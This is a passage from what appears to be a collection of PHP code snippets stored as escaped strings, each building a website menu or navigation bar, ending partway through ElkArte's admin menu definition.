($row['menutype'])\n\t\t\t{\n\t\t\t\tcase 0: //Muc chinh, trang chu, lien ket den trang index.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"index.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\t\t\n\t\t\t\tcase 1://Muc con, chua tin tuc con 1 newsgroup, lien ket den trang newsgroup.php\n\t\t\t\t\t$submenucount++;\n\t\t\t\t\techo('<LI><A href=\"newsgroup.php?id='.$row['menuid'].'&pr='.$row['parent'].'\">&nbsp;&nbsp;&nbsp;&nbsp;'.$row['menutitle'].'</A>'); \n\t\t\t\t\tbreak; \n\t\t\t\tcase 2://Muc con, lien ket den trang noi dung cuc bo content.php\n\t\t\t\t\t$submenucount++;\n\t\t\t\t\techo('<LI><A href=\"content.php?id='.$row['menuid'].'&pr='.$row['parent'].'\">&nbsp;&nbsp;&nbsp;&nbsp;'.$row['menutitle'].'</A>'); \n\t\t\t\t\tbreak; \t\t\t\t\t\t\n\t\t\t\tcase 3://Muc CHINH, khong co lien ket\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo(' submenuheader\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"\">'.$row['menutitle'].'</a></EM><DIV class=submenu><UL>'); \n\t\t\t\t\tbreak;\n\t\t\t\tcase 4://Muc CHINH, lien ket ngoai\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"'.$row['link'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\t\t\t\n\t\t\t\tcase 5://Muc CHINH, lien ket den trang noi dung cuc bo content.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"content.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\n\t\t\t\tcase 6://Muc CHINH, lien ket den trang van ban phap luat lawdocument.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"lawdocument.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\n\t\t\t\tcase 7://Muc CHINH, lien ket den trang hoi dap faq.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"faq.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\n\t\t\t\tcase 8://Muc CHINH, lien ket den trang lien he contact.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"contact.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\n\t\t\t\tcase 9://Muc CHINH, lien ket den trang so do website webstruct.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"webstruct.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\n\t\t\t\tcase 10://Muc CHINH, trang danh muc cac lien ket, lien ket den trang list.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"list.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\t\n\t\t\t\tcase 11://Muc CHINH, trang lich cong tac, lien ket den trang timetable.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"timetable.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\t\n\t\t\t\tcase 12://Muc CHINH, trang danh ba doanh nghiep, lien ket den trang orglist.php\n\t\t\t\t\tif ($submenucount>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$submenucount=0;\n\t\t\t\t\t\techo('</UL></DIV>');\n\t\t\t\t\t}\n\t\t\t\t\techo('<EM class=\"menuitem');echo(template());echo('\"><img src=\"image/point.jpg\" />&nbsp;&nbsp;<a class=\"mainnav\" href=\"orglist.php?id='.$row['menuid'].'\">'.$row['menutitle'].'</a></EM>');\n\t\t\t\t\tbreak;\t\t\t\t\t\n\t\t\t\tcase 13://Muc con, chua tin tuc rss, lien ket den trang rssnews.php\n\t\t\t\t\t$submenucount++;\n\t\t\t\t\techo('<LI><A href=\"rssnews.php?id='.$row['menuid'].'&pr='.$row['parent'].'\">&nbsp;&nbsp;&nbsp;&nbsp;'.$row['menutitle'].'</A>');\n\t\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\techo('</DIV></td></tr>');\n\t\n\t\tmysql_free_result($result);\n\t}\t\t\n}", "private function _getNavigation()\r\n\t{\r\n\t\t$input\t= dunloader( 'input', true );\r\n\t\t$action\t= $input->getVar( 'action', 'themes' );\r\n\t\t$task\t= $input->getVar( 'task', null );\r\n\t\t\r\n\t\t$uri\t= DunUri :: getInstance('SERVER', true );\r\n\t\t$uri->delVars();\r\n\t\t$uri->setVar( 'module', 'themer' );\r\n\t\t\r\n\t\t$html\t= '<ul class=\"nav nav-pills\">';\r\n\t\t\r\n\t\tforeach( array( 'themes', 'config', 'license' ) as $item ) {\r\n\t\t\t\r\n\t\t\tif ( $item == $action && $task != 'edittheme' ) {\r\n\t\t\t\t$html .= '<li class=\"active\"><a href=\"#\">' . t( 'themer.admin.module.navbar.' . $item ) . '</a></li>';\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$uri->setVar( 'action', $item );\r\n\t\t\t$html .= '<li><a href=\"' . $uri->toString() . '\">' . t( 'themer.admin.module.navbar.' . $item ) . '</a></li>';\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t$html\t.= '</ul>';\r\n\t\treturn $html;\r\n\t}", "function index() {\n \t\t $this->config->load('menu_permisos', TRUE);\n\t\t\t\t\t\t \n\t\t\t\t\t\t $data['permisos'] = $this->roles_frr->permisos_role_controladora($this->uri->segment(1));\n\t\t\t\t\t\t \n\t\t\t\t\t\t //Obtenemos la info necesaria para construir el menu de cada uno de los permisos\n\t\t\t\t\t\t //Los datos estan de la forma $data['data_menu']['nombre_permiso']\n\t\t\t\t\t\t if(count($data['permisos']) > 0) {\n\t\t\t\t\t\t \tforeach ($data['permisos'] as $key => $row) {\n\t\t\t\t\t\t\t $data['data_menu'][$row['permiso']] = $this->config->item($row['permiso'], 'menu_permisos');\n\t\t\t\t\t\t \t}\n\t\t\t\t\t\t } else {\n\t\t\t\t\t\t \t$data['error_sin_permiso'] = $this->config->item('error_sin_permiso', 'menu_permisos');\n\t\t\t\t\t\t }\n\t\t\t\t\t\t \n\t\t\t\t\t\t \n\t\t\t\t\t\t \n if ($message = $this->session->flashdata('message')) {\n\t\t\t\t\t\t \t\t$data['message'] = $message;\n\t\t\t\t\t\t }\n\t\t\t\t\t\t $this->template->set_content('ewarrants/main_ewarrants',$data);\n $this->template->build();\n }", "public static function get_menu()\n\t\t{ \n\t\t\t\t\n\t\t\t\tglobal $wpdb;\n\t\t\t\t\n\t\t\t\t$dish_list = $wpdb->get_results( \"SELECT * FROM \".$wpdb->prefix.self::$table_name);\n\t\t\t\t\n\t\t\t\t$htm =\t'<div class=\"left-rows\" id=\"menu-all\">All Categories</div>';\t\n\t\t\t\t\n\t\t\t\tif(!empty($dish_list)){\n\t\t\t\t\t\n\t\t\t\t\tforeach($dish_list as $key => $val){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t$htm .=\t'<div class=\"left-rows\" id=\"menu-'.$val->re_int.'\">'.$val->re_title.'</div>';\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $htm;\n\t\t\t\t\n\t\t}", "private function loadMenu()\n\t{\n\t\tglobal $txt, $context, $modSettings, $settings;\n\n\t\t// Need these to do much\n\t\trequire_once(SUBSDIR . '/Menu.subs.php');\n\n\t\t// Define the menu structure - see subs/Menu.subs.php for details!\n\t\t$admin_areas = array(\n\t\t\t'forum' => array(\n\t\t\t\t'title' => $txt['admin_main'],\n\t\t\t\t'permission' => array('admin_forum', 'manage_permissions', 'moderate_forum', 'manage_membergroups', 'manage_bans', 'send_mail', 'edit_news', 'manage_boards', 'manage_smileys', 'manage_attachments'),\n\t\t\t\t'areas' => array(\n\t\t\t\t\t'index' => array(\n\t\t\t\t\t\t'label' => $txt['admin_center'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\Admin',\n\t\t\t\t\t\t'function' => 'action_home',\n\t\t\t\t\t\t'class' => 'i-home i-admin',\n\t\t\t\t\t),\n\t\t\t\t\t'credits' => array(\n\t\t\t\t\t\t'label' => $txt['support_credits_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\Admin',\n\t\t\t\t\t\t'function' => 'action_credits',\n\t\t\t\t\t\t'class' => 'i-support i-admin',\n\t\t\t\t\t),\n\t\t\t\t\t'maillist' => array(\n\t\t\t\t\t\t'label' => $txt['mail_center'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageMaillist',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-envelope-blank i-admin',\n\t\t\t\t\t\t'permission' => array('approve_emails', 'admin_forum'),\n\t\t\t\t\t\t'enabled' => featureEnabled('pe'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'emaillist' => array($txt['mm_emailerror'], 'approve_emails'),\n\t\t\t\t\t\t\t'emailfilters' => array($txt['mm_emailfilters'], 'admin_forum'),\n\t\t\t\t\t\t\t'emailparser' => array($txt['mm_emailparsers'], 'admin_forum'),\n\t\t\t\t\t\t\t'emailtemplates' => array($txt['mm_emailtemplates'], 'approve_emails'),\n\t\t\t\t\t\t\t'emailsettings' => array($txt['mm_emailsettings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'news' => array(\n\t\t\t\t\t\t'label' => $txt['news_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageNews',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-post-text i-admin',\n\t\t\t\t\t\t'permission' => array('edit_news', 'send_mail', 'admin_forum'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'editnews' => array($txt['admin_edit_news'], 'edit_news'),\n\t\t\t\t\t\t\t'mailingmembers' => array($txt['admin_newsletters'], 'send_mail'),\n\t\t\t\t\t\t\t'settings' => array($txt['settings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'packages' => array(\n\t\t\t\t\t\t'label' => $txt['package'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\Packages\\\\Packages',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t\t\t'class' => 'i-package i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'browse' => array($txt['browse_packages']),\n\t\t\t\t\t\t\t'installed' => array($txt['installed_packages']),\n\t\t\t\t\t\t\t'options' => array($txt['package_settings']),\n\t\t\t\t\t\t\t'servers' => array($txt['download_packages']),\n\t\t\t\t\t\t\t'upload' => array($txt['upload_packages']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'packageservers' => array(\n\t\t\t\t\t\t'label' => $txt['package_servers'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\Packages\\\\PackageServers',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t\t\t'class' => 'i-package i-admin',\n\t\t\t\t\t\t'hidden' => true,\n\t\t\t\t\t),\n\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\Admin',\n\t\t\t\t\t\t'function' => 'action_search',\n\t\t\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t\t\t'class' => 'i-search i-admin',\n\t\t\t\t\t\t'select' => 'index'\n\t\t\t\t\t),\n\t\t\t\t\t'adminlogoff' => array(\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\Admin',\n\t\t\t\t\t\t'function' => 'action_endsession',\n\t\t\t\t\t\t'label' => $txt['admin_logoff'],\n\t\t\t\t\t\t'enabled' => empty($modSettings['securityDisable']),\n\t\t\t\t\t\t'class' => 'i-sign-out i-admin',\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t'config' => array(\n\t\t\t\t'title' => $txt['admin_config'],\n\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t'areas' => array(\n\t\t\t\t\t'corefeatures' => array(\n\t\t\t\t\t\t'label' => $txt['core_settings_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\CoreFeatures',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-cog i-admin',\n\t\t\t\t\t),\n\t\t\t\t\t'featuresettings' => array(\n\t\t\t\t\t\t'label' => $txt['modSettings_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageFeatures',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-switch-on i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'basic' => array($txt['mods_cat_features']),\n\t\t\t\t\t\t\t'layout' => array($txt['mods_cat_layout']),\n\t\t\t\t\t\t\t'pmsettings' => array($txt['personal_messages']),\n\t\t\t\t\t\t\t'karma' => array($txt['karma'], 'enabled' => featureEnabled('k')),\n\t\t\t\t\t\t\t'likes' => array($txt['likes'], 'enabled' => featureEnabled('l')),\n\t\t\t\t\t\t\t'mention' => array($txt['mention']),\n\t\t\t\t\t\t\t'sig' => array($txt['signature_settings_short']),\n\t\t\t\t\t\t\t'profile' => array($txt['custom_profile_shorttitle'], 'enabled' => featureEnabled('cp')),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'serversettings' => array(\n\t\t\t\t\t\t'label' => $txt['admin_server_settings'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageServer',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-menu i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'general' => array($txt['general_settings']),\n\t\t\t\t\t\t\t'database' => array($txt['database_paths_settings']),\n\t\t\t\t\t\t\t'cookie' => array($txt['cookies_sessions_settings']),\n\t\t\t\t\t\t\t'cache' => array($txt['caching_settings']),\n\t\t\t\t\t\t\t'loads' => array($txt['loadavg_settings']),\n\t\t\t\t\t\t\t'phpinfo' => array($txt['phpinfo_settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'securitysettings' => array(\n\t\t\t\t\t\t'label' => $txt['admin_security_moderation'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageSecurity',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-lock i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'general' => array($txt['mods_cat_security_general']),\n\t\t\t\t\t\t\t'spam' => array($txt['antispam_title']),\n\t\t\t\t\t\t\t'moderation' => array($txt['moderation_settings_short'], 'enabled' => !empty($modSettings['warning_enable'])),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'theme' => array(\n\t\t\t\t\t\t'label' => $txt['theme_admin'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageThemes',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'custom_url' => getUrl('admin', ['action' => 'admin', 'area' => 'theme']),\n\t\t\t\t\t\t'class' => 'i-modify i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'admin' => array($txt['themeadmin_admin_title']),\n\t\t\t\t\t\t\t'list' => array($txt['themeadmin_list_title']),\n\t\t\t\t\t\t\t'reset' => array($txt['themeadmin_reset_title']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'current_theme' => array(\n\t\t\t\t\t\t'label' => $txt['theme_current_settings'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageThemes',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'custom_url' => getUrl('admin', ['action' => 'admin', 'area' => 'theme', 'sa' => 'list', 'th' => $settings['theme_id']]),\n\t\t\t\t\t\t'class' => 'i-paint i-admin',\n\t\t\t\t\t),\n\t\t\t\t\t'languages' => array(\n\t\t\t\t\t\t'label' => $txt['language_configuration'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageLanguages',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-language i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'edit' => array($txt['language_edit']),\n\t\t\t\t\t\t\t// 'add' => array($txt['language_add']),\n\t\t\t\t\t\t\t'settings' => array($txt['language_settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'addonsettings' => array(\n\t\t\t\t\t\t'label' => $txt['admin_modifications'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\AddonSettings',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-puzzle i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'general' => array($txt['mods_cat_modifications_misc']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t'layout' => array(\n\t\t\t\t'title' => $txt['layout_controls'],\n\t\t\t\t'permission' => array('manage_boards', 'admin_forum', 'manage_smileys', 'manage_attachments', 'moderate_forum'),\n\t\t\t\t'areas' => array(\n\t\t\t\t\t'manageboards' => array(\n\t\t\t\t\t\t'label' => $txt['admin_boards'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageBoards',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-directory i-admin',\n\t\t\t\t\t\t'permission' => array('manage_boards'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'main' => array($txt['boardsEdit']),\n\t\t\t\t\t\t\t'newcat' => array($txt['mboards_new_cat']),\n\t\t\t\t\t\t\t'settings' => array($txt['settings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'postsettings' => array(\n\t\t\t\t\t\t'label' => $txt['manageposts'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManagePosts',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t\t\t'class' => 'i-post-text i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'posts' => array($txt['manageposts_settings']),\n\t\t\t\t\t\t\t'censor' => array($txt['admin_censored_words']),\n\t\t\t\t\t\t\t'topics' => array($txt['manageposts_topic_settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'editor' => array(\n\t\t\t\t\t\t'label' => $txt['editor_manage'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageEditor',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-modify i-admin',\n\t\t\t\t\t\t'permission' => array('manage_bbc'),\n\t\t\t\t\t),\n\t\t\t\t\t'smileys' => array(\n\t\t\t\t\t\t'label' => $txt['smileys_manage'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageSmileys',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-smiley i-admin',\n\t\t\t\t\t\t'permission' => array('manage_smileys'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'editsets' => array($txt['smiley_sets']),\n\t\t\t\t\t\t\t'addsmiley' => array($txt['smileys_add'], 'enabled' => !empty($modSettings['smiley_enable'])),\n\t\t\t\t\t\t\t'editsmileys' => array($txt['smileys_edit'], 'enabled' => !empty($modSettings['smiley_enable'])),\n\t\t\t\t\t\t\t'setorder' => array($txt['smileys_set_order'], 'enabled' => !empty($modSettings['smiley_enable'])),\n\t\t\t\t\t\t\t'editicons' => array($txt['icons_edit_message_icons'], 'enabled' => !empty($modSettings['messageIcons_enable'])),\n\t\t\t\t\t\t\t'settings' => array($txt['settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'manageattachments' => array(\n\t\t\t\t\t\t'label' => $txt['attachments_avatars'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageAttachments',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-paperclip i-admin',\n\t\t\t\t\t\t'permission' => array('manage_attachments'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'browse' => array($txt['attachment_manager_browse']),\n\t\t\t\t\t\t\t'attachments' => array($txt['attachment_manager_settings']),\n\t\t\t\t\t\t\t'avatars' => array($txt['attachment_manager_avatar_settings']),\n\t\t\t\t\t\t\t'attachpaths' => array($txt['attach_directories']),\n\t\t\t\t\t\t\t'maintenance' => array($txt['attachment_manager_maintenance']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'managesearch' => array(\n\t\t\t\t\t\t'label' => $txt['manage_search'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageSearch',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-search i-admin',\n\t\t\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'weights' => array($txt['search_weights']),\n\t\t\t\t\t\t\t'method' => array($txt['search_method']),\n\t\t\t\t\t\t\t'managesphinx' => array($txt['search_sphinx']),\n\t\t\t\t\t\t\t'settings' => array($txt['settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t'members' => array(\n\t\t\t\t'title' => $txt['admin_manage_members'],\n\t\t\t\t'permission' => array('moderate_forum', 'manage_membergroups', 'manage_bans', 'manage_permissions', 'admin_forum'),\n\t\t\t\t'areas' => array(\n\t\t\t\t\t'viewmembers' => array(\n\t\t\t\t\t\t'label' => $txt['admin_users'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageMembers',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-user i-admin',\n\t\t\t\t\t\t'permission' => array('moderate_forum'),\n\t\t\t\t\t),\n\t\t\t\t\t'membergroups' => array(\n\t\t\t\t\t\t'label' => $txt['admin_groups'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageMembergroups',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-users',\n\t\t\t\t\t\t'permission' => array('manage_membergroups'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'index' => array($txt['membergroups_edit_groups'], 'manage_membergroups'),\n\t\t\t\t\t\t\t'add' => array($txt['membergroups_new_group'], 'manage_membergroups'),\n\t\t\t\t\t\t\t'settings' => array($txt['settings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'permissions' => array(\n\t\t\t\t\t\t'label' => $txt['edit_permissions'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManagePermissions',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-lock i-admin',\n\t\t\t\t\t\t'permission' => array('manage_permissions'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'index' => array($txt['permissions_groups'], 'manage_permissions'),\n\t\t\t\t\t\t\t'board' => array($txt['permissions_boards'], 'manage_permissions'),\n\t\t\t\t\t\t\t'profiles' => array($txt['permissions_profiles'], 'manage_permissions'),\n\t\t\t\t\t\t\t'postmod' => array($txt['permissions_post_moderation'], 'manage_permissions', 'enabled' => $modSettings['postmod_active']),\n\t\t\t\t\t\t\t'settings' => array($txt['settings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'ban' => array(\n\t\t\t\t\t\t'label' => $txt['ban_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageBans',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-thumbdown i-admin',\n\t\t\t\t\t\t'permission' => 'manage_bans',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'list' => array($txt['ban_edit_list']),\n\t\t\t\t\t\t\t'add' => array($txt['ban_add_new']),\n\t\t\t\t\t\t\t'browse' => array($txt['ban_trigger_browse']),\n\t\t\t\t\t\t\t'log' => array($txt['ban_log']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'regcenter' => array(\n\t\t\t\t\t\t'label' => $txt['registration_center'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageRegistration',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-user-plus i-admin',\n\t\t\t\t\t\t'permission' => array('admin_forum', 'moderate_forum'),\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'register' => array($txt['admin_browse_register_new'], 'moderate_forum'),\n\t\t\t\t\t\t\t'agreement' => array($txt['registration_agreement'], 'admin_forum'),\n\t\t\t\t\t\t\t'privacypol' => array($txt['privacy_policy'], 'admin_forum'),\n\t\t\t\t\t\t\t'reservednames' => array($txt['admin_reserved_set'], 'admin_forum'),\n\t\t\t\t\t\t\t'settings' => array($txt['settings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'sengines' => array(\n\t\t\t\t\t\t'label' => $txt['search_engines'],\n\t\t\t\t\t\t'enabled' => featureEnabled('sp'),\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageSearchEngines',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-website i-admin',\n\t\t\t\t\t\t'permission' => 'admin_forum',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'stats' => array($txt['spider_stats']),\n\t\t\t\t\t\t\t'logs' => 